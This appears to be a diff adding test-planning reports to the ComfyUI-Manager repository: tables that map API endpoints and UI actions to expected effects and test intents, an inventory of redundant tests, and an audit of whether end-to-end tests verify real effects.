| Click "Disable" on row | POST queue/batch (disable) | Pack in `.disabled/` + row state "Disabled" |
| Click "Update" on outdated row | POST queue/batch (update) | Pack version changes + row state update |
| Click "Fix" on row | POST queue/batch (fix) | Dependencies restored |
| Click "Try alternatives" | GET /customnode/alternatives | Alternatives list rendered |
| Open "Versions" dropdown on row | GET customnode/versions/{id} | Version list rendered in UI |
| Open "Disabled Versions" on row | GET customnode/disabled_versions/{id} | Disabled versions rendered |
| Click "Install via Git URL" button + enter URL + confirm | POST customnode/install/git_url | Pack cloned; dir visible in UI |
| Click "Install via pip" | POST customnode/install/pip | Package installed; no UI crash |
| Click "Install" on Model Manager row | POST queue/install_model | Model file downloaded; row state "Installed" |
| Change DB mode dropdown | POST db_mode | Config persisted; dropdown value persists after dialog reopen |
| Change Update Policy dropdown | POST policy/update | Same |
| Change Channel dropdown | POST channel_url_list | Same |
| Click "Update All" button | POST queue/update_all | Multiple tasks queued; progress indicator shows count |
| Click "Update ComfyUI" button | POST queue/update_comfyui | Task queued; status indicator |
| Click "Save Snapshot" in Snapshot Manager | POST snapshot/save | New row in dialog list with timestamp |
| Click "Remove" on snapshot row | POST snapshot/remove?target=X | Row disappears from list |
| Click "Restore" on snapshot row | POST snapshot/restore?target=X | Marker file created; next reboot applies |
| Click "Restart" button | POST manager/reboot | Server restarts; UI reconnects |
| Open Manager menu with pending News | GET manager/notice | News panel visible with HTML content |
| Filter/search in grid | (client-side) | Row count ≤ initial count |
| Close dialog (X button / Esc) | (none) | Dialog hidden; no leaked DOM |
---
# Section 4 — Effects Not Easily Observable
Some purposes can only be proven via side-channel observation:
| Endpoint | Purpose | Why hard to verify |
|---|---|---|
| POST snapshot/restore | Apply snapshot at next reboot | Must actually reboot + compare post-state; destructive |
| POST switch_version (positive) | Change ComfyUI version | Destructive; needs rollback |
| POST manager/reboot | Restart process | Hard to assert "new process" vs "same process" cleanly; proxy: pid change or connection drop+rebind |
| POST queue/start → worker runs | Tasks execute | Timing-dependent; must poll done_count |
| GET manager/notice | Content from GitHub | External dependency; flaky |
| POST install (network) | Actually installs | Depends on CNR/GitHub availability |
| POST install_model (download) | File downloaded | Slow; large files; fake whitelist URL returns quick 404 |
For these, tests either (a) accept destructive as out-of-scope, (b) use timing/polling, or (c) mock at minimum granularity.
---
*End of Scenario × Effect Mapping*
+424
View File
@@ -0,0 +1,424 @@
# Scenario Intent Mapping
**Generated**: 2026-04-18
**Definition of "intent"**: For each scenario — **what real use case, user need, or protection concern does this scenario represent?** Answers "why does this scenario matter, what is it there to prove?"
Intent categories used:
- **User capability** — the user wants to accomplish task X
- **Data integrity** — the system must not corrupt state
- **Security boundary** — privilege / access must be enforced
- **Input resilience** — bad input must not crash or mis-operate
- **Idempotency** — operation can be retried safely
- **Observability** — the caller needs accurate state visibility
- **Concurrency safety** — parallel calls don't interfere
- **Recovery** — system can recover from failure / bad state
---
# Section 1 — Glob v2 Endpoints
## 1.1 Queue Management
### POST /v2/manager/queue/task (install)
| Scenario | Intent |
|---|---|
| Success (CNR) | User capability: install a registered pack at a specific version for reproducibility |
| Success (nightly/URL) | User capability: install unreleased or private pack from arbitrary git URL |
| Success (skip_post_install + already disabled) | Recovery: re-enable a previously disabled pack without full reinstall (optimization path) |
| Validation error (bad kind) | Input resilience: prevent arbitrary op execution via malformed kind; ensure schema gate is the truth |
| Validation error (missing ui_id/client_id) | Observability: every queued task must be traceable back to its originator |
| Invalid JSON body | Input resilience: malformed bytes don't crash the server |
| Worker auto-start | User capability: ease of use — installer doesn't need separate "start" call (legacy path does though) |
### POST /v2/manager/queue/task (uninstall)
| Scenario | Intent |
|---|---|
| Success | User capability: remove a pack that's no longer needed or causing issues |
| Target not installed | Idempotency: uninstall of non-present pack should not fail destructively |
### POST /v2/manager/queue/task (update)
| Scenario | Intent |
|---|---|
| Success | User capability: upgrade to a newer release to get fixes/features |
| Already up-to-date | Idempotency: safe to trigger update even when nothing new exists |
| Update fails mid-way | Data integrity: don't leave pack in partially-updated state |
### POST /v2/manager/queue/task (fix)
| Scenario | Intent |
|---|---|
| Success | Recovery: when dependencies drift or break, re-install them without re-cloning source |
| Missing deps pre-fix | Recovery: fix should heal the environment |
### POST /v2/manager/queue/task (disable)
| Scenario | Intent |
|---|---|
| Success | User capability: temporarily stop using a pack without losing it (reversible) |
| Already disabled | Idempotency: re-disable is a no-op |
### POST /v2/manager/queue/task (enable)
| Scenario | Intent |
|---|---|
| Success | User capability: restore a disabled pack to active use |
| Not disabled | Idempotency: no-op when already active |
### POST /v2/manager/queue/install_model
| Scenario | Intent |
|---|---|
| Success | User capability: download models from curated whitelist for model library |
| Missing client_id/ui_id | Observability: every download is traceable |
| Invalid metadata | Input resilience: malformed model requests rejected early |
| Not in whitelist | Security boundary: prevent arbitrary URL downloads (supply-chain protection) |
| Non-safetensors + lower security | Security boundary: block executable-format model files in lower-trust env |
### POST /v2/manager/queue/update_all
| Scenario | Intent |
|---|---|
| Success | User capability: one-click update of all installed packs |
| Security denied | Security boundary: bulk ops are more risky; require middle+ trust |
| Missing params | Observability: must know who initiated bulk op |
| mode=local | User capability: work offline using cached data |
| Desktop build | Data integrity: don't self-update comfyui-manager in bundled builds |
| Empty active set | Idempotency: safe to run on fresh install with nothing to update |
### POST /v2/manager/queue/update_comfyui
| Scenario | Intent |
|---|---|
| Success | User capability: update ComfyUI core itself |
| Missing params | Observability: traceability |
| stable=true explicit | User capability: override policy for one-off stable update regardless of config |
### POST /v2/manager/queue/reset
| Scenario | Intent |
|---|---|
| Success | Recovery: abort an in-progress batch; clear failed state |
| Already empty | Idempotency: safe to call repeatedly as cleanup |
### POST /v2/manager/queue/start
| Scenario | Intent |
|---|---|
| Worker not running | User capability: explicit trigger for the async worker |
| Already running | Concurrency safety: don't spawn duplicate workers (data corruption risk) |
| Empty queue | Idempotency: no error on empty queue |
### GET /v2/manager/queue/status
| Scenario | Intent |
|---|---|
| No filter | Observability: dashboard view of overall progress |
| client_id filter | Observability: per-client progress for multi-user UI |
| Unknown client_id | Input resilience: unknown id returns 0s, not error |
### GET /v2/manager/queue/history
| Scenario | Intent |
|---|---|
| id=<batch_id> | Observability: inspect an old batch for audit/debug |
| Path traversal | Security boundary: prevent arbitrary file reads via history endpoint |
| ui_id filter | Observability: detailed view for one task |
| client_id filter | Observability: per-client history |
| Pagination | Performance: avoid huge payload on long histories |
| Serialization failure | Input resilience: fail cleanly (400) rather than crash |
### GET /v2/manager/queue/history_list
| Scenario | Intent |
|---|---|
| Success | Observability: enumerate past batches |
| Empty | Idempotency: no crash on empty history dir |
| Path inaccessible | Input resilience: fail cleanly |
## 1.2 Custom Node Info
### GET /v2/customnode/getmappings
| Scenario | Intent |
|---|---|
| Success (mode=local/cache/remote) | User capability: UI resolves "missing nodes in workflow" to recommend packs |
| mode=nickname | User capability: shorter display names for UI |
| Missing mode | Input resilience: require explicit mode choice |
### GET /v2/customnode/fetch_updates (deprecated)
| Scenario | Intent |
|---|---|
| Always 410 | API contract: signal clients to migrate to queue-based flow; don't silently break |
### GET /v2/customnode/installed
| Scenario | Intent |
|---|---|
| mode=default | Observability: current state for UI |
| mode=imported | Observability: startup-time state for diff ("what changed since boot") |
| Empty | Idempotency: no crash on empty install |
### POST /v2/customnode/import_fail_info
| Scenario | Intent |
|---|---|
| Known failed pack | Recovery: show user exact traceback so they can decide fix vs report vs uninstall |
| Unknown pack | Input resilience: 400 rather than empty success (distinguishable) |
| Missing fields / non-dict | Input resilience: reject early |
### POST /v2/customnode/import_fail_info_bulk
| Scenario | Intent |
|---|---|
| cnr_ids list | Performance: batch lookup for dialog that shows multiple failed packs at once |
| urls list | Same, for git-URL-installed packs |
| Empty lists | Input resilience: require at least one query |
| Null for unknown | Observability: distinguish "no failure info" from "lookup failed" |
## 1.3 Snapshots
### GET /v2/snapshot/get_current
| Scenario | Intent |
|---|---|
| Success | Observability: inspect system state before taking a snapshot |
| Failure | Input resilience: fail cleanly |
### POST /v2/snapshot/save
| Scenario | Intent |
|---|---|
| Success | User capability: persist current state for later rollback |
| Multiple saves | Observability: each save is independently retrievable |
### GET /v2/snapshot/getlist
| Scenario | Intent |
|---|---|
| Success | User capability: choose which snapshot to restore/delete |
| Empty | Idempotency: no crash on empty snapshot dir |
### POST /v2/snapshot/remove
| Scenario | Intent |
|---|---|
| Success | User capability: housekeeping (remove old snapshots) |
| Nonexistent target | Idempotency: re-delete should not error |
| Path traversal | Security boundary: prevent deleting files outside snapshot dir |
| Missing target | Input resilience |
| Security denied | Security boundary: middle security required |
### POST /v2/snapshot/restore
| Scenario | Intent |
|---|---|
| Success | Recovery: rollback to a known-good state after bad update |
| Nonexistent | Input resilience |
| Path traversal | Security boundary |
| Security denied | Security boundary: middle+ required (restore is destructive) |
## 1.4 Configuration
### GET /v2/manager/db_mode
| Scenario | Intent |
|---|---|
| Success | Observability: UI shows current mode setting |
### POST /v2/manager/db_mode
| Scenario | Intent |
|---|---|
| Valid | User capability: switch between online/local DB for different network conditions |
| Malformed | Input resilience |
| Missing value | Input resilience: don't silently set unknown/empty |
### GET/POST /v2/manager/policy/update
Same as db_mode: observability of current policy + user choice to change update strategy (stable vs nightly) + input resilience.
### GET /v2/manager/channel_url_list
| Scenario | Intent |
|---|---|
| Success | Observability: show available channels in UI dropdown |
| "custom" selected | Input resilience: URL not in known list doesn't break display |
### POST /v2/manager/channel_url_list
| Scenario | Intent |
|---|---|
| Known name | User capability: switch between upstream vs fork vs private channel |
| Unknown name | Input resilience: silent no-op (don't crash on typo) |
| Malformed | Input resilience |
## 1.5 System
### GET /v2/manager/is_legacy_manager_ui
| Scenario | Intent |
|---|---|
| Success | User capability: frontend picks which UI variant to mount at page load |
### GET /v2/manager/version
| Scenario | Intent |
|---|---|
| Success | Observability: display version in UI (troubleshooting / support) |
| Idempotent | Data integrity: version doesn't change at runtime |
### POST /v2/manager/reboot
| Scenario | Intent |
|---|---|
| Success | User capability: apply changes that require restart (snapshot restore, ComfyUI version switch) |
| CLI session mode | Integration: cooperates with external process manager for clean restart |
| Security denied | Security boundary: middle required (restart affects all users) |
### GET /v2/comfyui_manager/comfyui_versions
| Scenario | Intent |
|---|---|
| Success | User capability: enumerate ComfyUI versions to pick one for rollback/upgrade |
| Git failure | Input resilience: fail cleanly if ComfyUI isn't a git repo |
### POST /v2/comfyui_manager/comfyui_switch_version
| Scenario | Intent |
|---|---|
| Success | User capability: switch ComfyUI to specific version (pin for reproducibility) |
| Missing params | Observability |
| Security denied | Security boundary: high+ required (massive blast radius — affects core behavior) |
---
# Section 2 — Legacy-only Endpoints
### POST /v2/manager/queue/batch
| Scenario | Intent |
|---|---|
| Single-kind batch | User capability: execute multiple operations of same type in one round-trip |
| Mixed-kind batch | User capability: apply a workflow (uninstall-then-install = reinstall) atomically |
| Partial failure (`failed` list) | Observability: distinguish which packs in the batch failed from ones that succeeded |
| Empty body | Idempotency: no-op if nothing to do |
| update_all sub-key | User capability: trigger bulk update as part of batch |
### GET /v2/customnode/getlist
| Scenario | Intent |
|---|---|
| Success | User capability: populate Custom Nodes Manager dialog with full available pack catalog |
| skip_update=true | Performance: fast load when user doesn't need remote fetch |
| Channel resolution | Observability: user sees which channel data came from |
### GET /customnode/alternatives
| Scenario | Intent |
|---|---|
| Success | User capability: recommend alternative packs when one is discontinued/unavailable |
### GET /v2/externalmodel/getlist
| Scenario | Intent |
|---|---|
| Success | User capability: browse curated model catalog |
| `installed` flag per model | Observability: which models already present |
| HuggingFace sentinel | User capability: HF-hosted models via standard URL |
| Custom save_path | User capability: custom model placement |
### GET /v2/customnode/versions/{node_name}
| Scenario | Intent |
|---|---|
| Known CNR | User capability: pick a specific version to install (stability over latest) |
| Unknown pack | Input resilience |
### GET /v2/customnode/disabled_versions/{node_name}
| Scenario | Intent |
|---|---|
| Has disabled | User capability: see what versions are available to re-enable without fresh install |
| None | Input resilience |
### POST /v2/customnode/install/git_url
| Scenario | Intent |
|---|---|
| Success | User capability: install arbitrary git pack (for advanced users / private packs) |
| Already installed | Idempotency |
| Clone failure | Input resilience: bad URL returns error; no corrupt state |
| Security denied | Security boundary: high+ required (arbitrary code execution risk) |
### POST /v2/customnode/install/pip
| Scenario | Intent |
|---|---|
| Success | User capability: install pip packages needed by a pack |
| Security denied | Security boundary: high+ required (arbitrary package execution risk) |
### GET /v2/manager/notice
| Scenario | Intent |
|---|---|
| GitHub reachable | User capability: see latest Manager news/changelog inline |
| GitHub unreachable | Input resilience: don't block UI on external service failure |
| Non-git ComfyUI | Observability: warn user that their install is non-standard |
| Outdated ComfyUI | Observability: warn user they're too old to be safe |
| Desktop variant | User capability: correct footer for desktop distribution |
---
# Section 3 — Cross-cutting Scenarios
Some scenarios recur across many endpoints with consistent intent:
| Scenario pattern | Applies to | Unified intent |
|---|---|---|
| Malformed JSON body | all POST endpoints accepting JSON | Input resilience — protect against corrupted bytes / wrong content-type |
| Missing required field | all POST endpoints with schemas | Input resilience + Observability (traceability fields mandatory) |
| Path traversal in target/id | snapshot/remove, snapshot/restore, queue/history | Security boundary — prevent arbitrary filesystem access |
| Security level denial (middle/middle+/high+) | destructive endpoints | Security boundary — tier privileged ops per deployment risk profile |
| Idempotent re-call on empty state | queue/reset, history_list, snapshot/getlist, installed | Idempotency — safe to poll or retry |
| Repeated read returns same value | version, db_mode, policy/update | Data integrity — config/runtime state is stable |
| Empty collection returned cleanly | history, getlist, installed, alternatives | Input resilience — empty is valid, not an error |
---
# Section 4 — Intent Coverage Summary
| Intent category | # scenarios | Notes |
|---|---:|---|
| User capability (positive user need) | 62 | The "happy paths" |
| Input resilience | 32 | Mostly 400s for bad input |
| Security boundary | 15 | Security levels + path traversal |
| Idempotency | 14 | No-op / retry safety |
| Observability | 16 | State visibility + traceability |
| Data integrity | 8 | Config/state stability |
| Recovery | 5 | Fix, restore, reset |
| Concurrency safety | 2 | Worker dedup |
Total unique scenarios mapped: ~154 (matches Report A).
---
# Section 5 — Why This Mapping Matters
For each scenario, the **intent** drives the TEST design:
- **User capability** scenarios need end-to-end effect verification (feature works as promised)
- **Input resilience** scenarios need negative tests (bad inputs rejected cleanly)
- **Security boundary** scenarios need permission gate tests (403 proven per security level)
- **Idempotency** scenarios need repeat-call tests (no state drift)
- **Observability** scenarios need response-correctness tests (UI can trust the data)
- **Data integrity** scenarios need consistency tests (no runtime mutation of constants)
- **Recovery** scenarios need fault-injection tests (broken state → fix heals it)
- **Concurrency safety** scenarios need parallel-call tests (no duplicate workers/tasks)
Gaps in current E2E suite are best understood by intent: missing tests are typically for **security boundary** (403 gates), **input resilience edge cases** (path traversal, missing value keys), and **recovery** (fix/restore). These are the hardest to reach in simple E2E but matter most for production safety.
---
*End of Scenario Intent Mapping*
+177
View File
@@ -0,0 +1,177 @@
# Test Bloat Inventory — Sweep Aggregate
**Generated**: 2026-04-20 (via `/pair-sweep test bloat identification`)
**Scope**: 127 test functions across 21 files (14 pytest E2E + 7 Playwright specs)
**Method**: Static analysis by 4-member team (4 chunks, 127 items, `cl-20260419-bloat-{teng,review,dev,dbg}`)
**References**: `goal-report-bloat-sweep.md` (10 bloat code definitions B1-BA)
---
## Executive Summary
| Metric | Count | Rate |
|---|---:|---:|
| Total analyzed | **127** | 100% |
| ✅ CLEAN | **94** | 74.0% |
| ⚠️ BLOAT | **33** | 26.0% |
| 🔴 Immediate remove/merge | **16** | 12.6% |
| 🟡 Refactor / consolidate | **~10** | 7.9% |
| 🟢 Borderline (retained with note) | **~7** | 5.5% |
**Post-action projection**: 127 → ~115 tests (−12 via remove/merge) with zero coverage loss. Bloat rate drops from 26% to ≤5%.
---
## Chunk Distribution
| Chunk | Member | Total | CLEAN | BLOAT | Top codes |
|---|---|---:|---:|---:|---|
| A (csrf/secgate/version) | dbg | 19 | 17 | 2 | B7, B9 |
| B (endpoint/customnode/snapshot/git_clone) | reviewer | 29 | 23 | 6 | B1 (×4), B1/B5 (×1), B7 (×1) |
| C (config_api/queue/task_ops/system) | teng | 45 | 30 | 15 | B1 (×5), B9 (×9), B8 (×1) |
| D (uv_compile + Playwright) | dev | 34 | 24 | 10 | B9 (×5), B5 (×2), B1, B4+B5+BA, B8 |
| **TOTAL** | — | **127** | **94** | **33** | B9 (primary) |
**Top bloat code**: **B9 Copy-paste** (14 occurrences across chunks) — largely from copy-paste test skeletons that can be parametrized.
---
## 🔴 Priority 1 — Immediate Remove (1 item)
| ID | File | Function | Reason | Verdict |
|---|---|---|---|---|
| dev:ci-013 | debug-install-flow.spec.ts | `capture install button API flow` | Zero `expect()` calls, only `console.log`. Diagnostic script committed as test — cannot fail. | B4+B5+BA |
**Action**: Delete the entire spec file OR move to `tools/` directory.
---
## 🔴 Priority 2 — Remove (subsumed by other tests) — 7 items
| ID | File | Function | Subsumed by | Code |
|---|---|---|---|---|
| reviewer:ci-004 | endpoint.py | (install_uninstall related)1 | ci-003 (WI-N strengthening adds API cross-check) | B1 |
| reviewer:ci-005 | endpoint.py | install-uninstall-cycle | concat of ci-001+ci-002+ci-003 | B1 |
| reviewer:ci-006 | endpoint.py | /system_stats smoke | fixture already polls until 200 | B5 |
| reviewer:ci-009 | customnode_info.py | getmappings | subsumed by ci-008 first-5 schema (post-WI-M) | B1 |
| teng:ci-005 | (config_api or queue) | strict subset of ci-002 disk check | ci-002 | B1 |
| teng:ci-010 | subset of ci-007 + dup of ci-005 | ci-007 | B1 |
| teng:ci-017 | weaker subset of ci-016 | ci-016 | B1 |
| teng:ci-024 | subset of ci-016, misleading 'final' | ci-016 | B1, B8 |
| teng:ci-028 | cycle covered by ci-026+ci-027 | ci-026+ci-027 | B1 |
| dev:ci-010 | uv_compile.py | `test_uv_compile_conflict_attribution` | ci-012 (strict superset) | B1 |
**Action**: Delete these tests individually; confirm no unique assertion.
---
## 🟡 Priority 3 — Merge / Parametrize Clusters — 5 clusters (~12 tests → 4 tests)
### Cluster 1 — config_api roundtrip (3 → 1)
`teng:ci-002, ci-007, ci-013` → `@pytest.mark.parametrize("endpoint,key,values", ...)`
Estimated savings: 3 × ~60 lines → 1 parametrized test.
### Cluster 2 — config_api invalid-body (3 → 1)
`teng:ci-003, ci-008, ci-015` → parametrize across `(endpoint, key)`.
### Cluster 3 — config_api junk-value (3 → 1)
`teng:ci-004, ci-009, ci-014` → parametrize across `(endpoint, key, values)`.
### Cluster 4 — task_operations history (2 → 1)
`teng:ci-030, ci-032` → parametrize across `(kind, ui_id)`.
### Cluster 5 — uv_compile verb (5 → 1)
`dev:ci-004, ci-005, ci-006, ci-007, ci-011` → parametrize across verb (update/update_all/fix/fix_all/restore-dependencies).
### Cluster 6 — install_model missing-field (2 → 1)
`teng:ci-034, ci-035` → parametrize across missing_field.
### Cluster 7 — version_mgmt response contract (4 → 1)
`dbg:ci-013, ci-014, ci-015, ci-016` → merge into single `test_versions_response_contract`.
### Cluster 8 — snapshot: reviewer:ci-026 merge-with ci-022
**Total merge savings**: ~12 tests → 8 tests (−4 net).
---
## 🟡 Priority 4 — Refactor In-Place (3 items)
| ID | File | Function | Issue | Recommendation |
|---|---|---|---|---|
| dev:ci-003 | uv_compile.py | `test_reinstall_with_uv_compile` | OR-fallback masks "known issue — purge_node_state bug" | `@pytest.mark.xfail(reason=...)` OR split positive/already-exists |
| dev:ci-008 | uv_compile.py | `test_uv_compile_no_packs` | `rc==0 OR "No custom node packs"` — OR-fallback | Split into 2 tests (empty tree rc==0 / non-empty rc==0 + substring) |
| dev:ci-022 | manager-menu.spec.ts | `shows settings dropdowns (DB, Channel, Policy)` | Title promises 3 dropdowns, only asserts 2 | Add `channelCombo` assertion OR rename |
| reviewer:ci-013 | customnode_info.py | (TODO stub) | L303 TODO makes test stub; skip mask hides incomplete impl | Resolve TODO or drop skip |
| dbg:ci-012 | secgate_strict.py | `test_post_works_at_default_after_restore` | Entire body is `pytest.skip()` placeholder | **DELETE** function, preserve intent in module comment |
| dbg:ci-018 | version_mgmt.py | `test_switch_version_missing_client_id` | Duplicates ci-017 (gate 403 before param validation) | Remove or parametrize with ci-017 |
---
## 🟢 Priority 5 — Borderline B9 Retained (intentional parallels) — 7 items
| ID | Reason for retention |
|---|---|
| dbg:ci-005-008 (csrf_legacy mirror csrf) | Different fixture → different SUT (legacy XOR glob mutex). Coverage necessary, not redundant. |
| dev:ci-024 (Policy persist vs ci-023 DB) | Orthogonal target dropdowns; rollback paths differ. |
| dev:ci-026 (model-manager open vs ci-014 custom-nodes open) | Different dialog id; structural-open verification per dialog is cheap. |
| dev:ci-028 (model-manager search vs ci-017 custom-nodes search) | Different backend queries. |
| dev:ci-032 (snapshot open vs ci-014/026) | Third dialog; each has distinct open-path pinning. |
---
## Key Findings / Patterns
1. **B9 Copy-paste dominates bloat** (~14 of 33 BLOAT items) — all concentrated in pytest uv_compile (5), config_api (9), version_mgmt (4). Parametrization fixes all.
2. **Playwright >>> pytest for bloat rate**: Playwright 91% CLEAN vs pytest uv_compile 42% CLEAN. Playwright has `expect.poll` + `beforeEach` hoisting + state-based assertions. pytest uv_compile uses substring `in combined` as sole assertion in 5/12.
3. **OR-fallback pattern** (2 tests: dev:ci-003, ci-008) masks which branch runs — AP-3-adjacent.
4. **Intentional mutex parallels** (dbg chunk) kept as CLEAN — csrf.py + csrf_legacy.py test different SUT loaded via `__init__.py` mutex. Not redundant despite structural similarity.
5. **`debug-install-flow.spec.ts`** is the single most egregious bloat — zero assertions, pure `console.log`. Not a test.
## Secondary Observations (non-bloat but flagged)
| Target | Observation | Scope |
|---|---|---|
| `test_e2e_uv_compile.py` | 12 CLI subprocess tests mis-filed under `tests/e2e/` (should be `tests/cli/`). Not B4 Dead — real functionality. | Relocation WI candidate |
| `test_e2e_csrf.py` | Post-WI-HH correctly excludes 3 dual-purpose endpoints from STATE_CHANGING_POST_ENDPOINTS. | (already resolved) |
| `test_e2e_secgate_strict.py::SR4 PoC` | Strongest negative-side check pattern (file-unchanged on disk). | Propagate pattern to SR6/V5/UA2 follow-ups |
| `test_e2e_csrf_legacy.py` | 2 legacy-only endpoints (install/git_url, install/pip) per WI-JJ-B. | (already added) |
---
## Post-Action Projection
Applying 🔴 + 🟡:
- 127 current tests
- −1 remove (dev:ci-013 debug-install-flow)
- −9 remove (subsumed tests, reviewer+teng+dev)
- −4 merge/parametrize (7 clusters net savings: from 23 tests into 11 parametrized)
**Projected final count**: ~**113 tests** (−14, ~11% reduction) with zero coverage loss. Bloat rate target: ≤5%.
---
## Next Steps (follow-up WI candidates)
1. **WI-MM**: Apply 🔴 removals (1 remove + 9 subsumed + 1 delete PoC stub = 11 deletions) — low risk, high value
2. **WI-NN**: Apply 🟡 parametrize clusters (5-7 clusters → significant line reduction)
3. **WI-OO**: Apply 🟡 refactors (ci-003 xfail, ci-008 split, ci-022 rename/add, ci-013 TODO resolve, ci-018 merge/parametrize)
4. **WI-PP (optional)**: Relocate `test_e2e_uv_compile.py` from `tests/e2e/` to `tests/cli/`
Each WI should update `reports/e2e_verification_audit.md` Summary Matrix + TOTAL (tests will decrease) and run `verify_audit_counts.py` PASS at completion.
---
## Validation
- ✅ `cl-20260419-bloat-dbg`: 19/19 done
- ✅ `cl-20260419-bloat-review`: 29/29 done
- ✅ `cl-20260419-bloat-teng`: 45/45 done
- ✅ `cl-20260419-bloat-dev`: 34/34 done
- ✅ **Total**: 127/127 (100%)
Every item has verdict + evidence + recommendation in its respective checklist YAML.
---
*End of Test Bloat Inventory*
+298
View File
@@ -0,0 +1,298 @@
# Test Contract Audit
**Generated**: 2026-04-18
**Contract**:
- **Glob E2E** = endpoint call → effect verification (HTTP POST/GET + verify state change or response correctness)
- **Legacy E2E** = UI interaction → effect verification (click/select/fill + verify state change)
Tests that call HTTP endpoints directly in the Playwright suite VIOLATE the legacy contract. Tests that check only status code without verifying effect VIOLATE the glob contract.
## Summary
| Contract violation | Count | Severity |
|---|---:|---|
| Playwright tests using direct API (bypass UI) | ~~9~~ → 5 | 🔴 contract breach (4 resolved in Stage2 WI-F; remaining 5 are in legacy-ui-snapshot helper functions + other files — see updated Section 1) |
| Playwright tests partially UI-driven (mixed) | 2 | 🟡 weakened |
| Glob tests missing effect verification | ~~1~~ → 0 | 🟡 status-only (resolved in Stage2 WI-D) |
| Glob tests fully effect-verifying | 80 | ✓ compliant |
| Security-contract tests (CSRF method-reject — 8 functions / 52 invocations — 26 glob + 26 legacy) | 8 | ✓ compliant (separate negative contract; glob + legacy server coverage) |
---
# Section 1 — Playwright Contract Audit (Legacy UI → Effect)
## ✅ VIOLATIONS — all 4 listed tests resolved in Stage2 WI-F
Historical record (2026-04-18, Stage2 WI-F). All 4 direct-API Playwright tests that previously violated the legacy contract have been removed from the suite or rewritten to click real UI elements:
| File | Test | Original violation | Resolution |
|---|---|---|---|
| legacy-ui-snapshot.spec.ts | `lists existing snapshots` | Direct `page.request.get('/v2/snapshot/getlist')` — no UI click | **DELETED**; backend `getlist` coverage owned by pytest `test_e2e_snapshot_lifecycle.py::test_getlist_after_save` (12/12 pytest regression PASS). |
| legacy-ui-snapshot.spec.ts | `save snapshot via API and verify in list` | 100% `page.request.post/get` — zero UI interaction | **REWRITTEN** as `SS1 Save button creates a new snapshot row`: clicks dialog Save/Create button, polls `getlist` only as backend-effect confirmation helper (not as the test's primary action), cleans up via afterEach. Bonus: `UI Remove button deletes a snapshot row` added for row-delete UI coverage. |
| legacy-ui-navigation.spec.ts | `API health check while dialogs are open` | `page.request.get('/v2/manager/version')` — direct API, not UI | **DELETED**; version coverage owned by `test_e2e_system_info.py::test_version_returns_string/test_version_is_stable`. |
| legacy-ui-navigation.spec.ts | `system endpoints accessible from browser context` | 2× `page.request.get` — direct API | **DELETED**; fully redundant with `test_e2e_system_info.py` suite. |
**Verification**: `npx playwright test --list --grep '<any of the 4 titles>'` → `Total: 0 tests in 0 files`. Current spec listing: 5 tests in 2 files, all UI-driven.
**Residual note**: The snapshot spec still uses `page.request.get('/v2/snapshot/getlist')` inside the `getSnapshotNames` helper and in the `beforeEach/afterEach` for deterministic seeding/cleanup. This is acceptable because (a) the TEST ACTION is a UI button click, and (b) the API use is confined to backend-effect observation, matching the hybrid pattern also used in legacy-ui-manager-menu's dropdown tests (the mixed-pattern row below, which remains WEAKENED but is a known follow-up).
## 🟡 WEAKENED — tests that mix UI + direct API
These tests DO perform UI interaction (e.g., `selectOption`) but use direct API for verification/cleanup. The UI→effect part is present but the effect is validated via API, not via UI rendering.
| File | Test | Mixed pattern | Recommended |
|---|---|---|---|
| legacy-ui-manager-menu.spec.ts | `DB mode dropdown round-trips via API` | `selectOption(newValue)` (UI ✓) → `page.request.get` (verify ✗) | Verify via UI: re-open dialog, read `.value` from `<select>` element. Optional: also check page reload reflects persisted value. |
| legacy-ui-manager-menu.spec.ts | `Update Policy dropdown round-trips via API` | Same pattern | Same |
## ✓ CORRECT — pure UI→effect tests
| File | Test | UI action | Effect verified |
|---|---|---|---|
| legacy-ui-manager-menu.spec.ts | `opens via Manager button and shows 3-column layout` | Click Manager button | Dialog `#cm-manager-dialog` visible + expected buttons |
| legacy-ui-manager-menu.spec.ts | `shows settings dropdowns (DB, Channel, Policy)` | Open Manager menu | 3 `<select>` elements visible |
| legacy-ui-manager-menu.spec.ts | `closes and reopens without duplicating` | Close + reopen dialog | ≤2 dialog instances in DOM |
| legacy-ui-custom-nodes.spec.ts | `opens from Manager menu and renders grid` | Click "Custom Nodes Manager" | `#cn-manager-dialog` + grid visible |
| legacy-ui-custom-nodes.spec.ts | `loads custom node list (non-empty)` | Open dialog, wait | `.tg-row` count > 0 |
| legacy-ui-custom-nodes.spec.ts | `filter dropdown changes displayed nodes` | `selectOption('Installed')` | Filtered count ≤ initial |
| legacy-ui-custom-nodes.spec.ts | `search input filters the grid` | `fill('ComfyUI-Manager')` | Filtered count ≤ initial |
| legacy-ui-custom-nodes.spec.ts | `footer buttons are present` | Open dialog | Install via Git URL / Restart button visible |
| legacy-ui-model-manager.spec.ts | `opens from Manager menu and renders grid` | Click "Model Manager" | `#cmm-manager-dialog` + grid |
| legacy-ui-model-manager.spec.ts | `loads model list (non-empty)` | Open dialog | Rows > 0 |
| legacy-ui-model-manager.spec.ts | `search input filters the model grid` | `fill('stable diffusion')` | Filtered ≤ initial |
| legacy-ui-model-manager.spec.ts | `filter dropdown is present with expected options` | Open dialog | Options length > 0 |
| legacy-ui-snapshot.spec.ts | `opens snapshot manager from Manager menu` | Click "Snapshot Manager" | `#snapshot-manager-dialog` visible |
| legacy-ui-snapshot.spec.ts | `SS1 Save button creates a new snapshot row` | Click dialog Save/Create button | New snapshot appears in UI row + backend list (hybrid UI-action + backend-effect confirm) |
| legacy-ui-snapshot.spec.ts | `UI Remove button deletes a snapshot row` | Click in-row Remove/Delete button (dialog confirm accepted) | Snapshot absent from UI row AND backend list |
| legacy-ui-navigation.spec.ts | `Manager menu → Custom Nodes → close → Manager still visible` | Nested dialog nav | Manager reopenable |
| legacy-ui-navigation.spec.ts | `Manager menu → Model Manager → close → reopen` | Close + reopen | Model Manager reappears |
| debug-install-flow.spec.ts | `capture install button API flow` | Click Install → select version → Select | Captures full API sequence (debug) |
## Playwright Contract Summary (post Stage2 WI-F)
- **Compliant** (UI→effect): 17 / 20 tests (85%)
- **Mixed** (UI + direct API): 2 / 20 tests (10%)
- **Violating** (direct API only): 0 / 20 tests (0%) ✅ — WI-F resolved all 4
- **Debug/instrumentation** (acceptable exception): 1 / 20 tests (5%)
Net change from previous audit (22 tests → 20 tests): `legacy-ui-navigation` lost 2 deleted INADEQUATE tests; `legacy-ui-snapshot` kept 3 total (1 existing PASS + 2 new UI-driven PASS that replaced the 2 original INADEQUATE). The "Mixed" WEAKENED rows (2 manager-menu dropdown tests) remain and should be addressed in a follow-up WI.
---
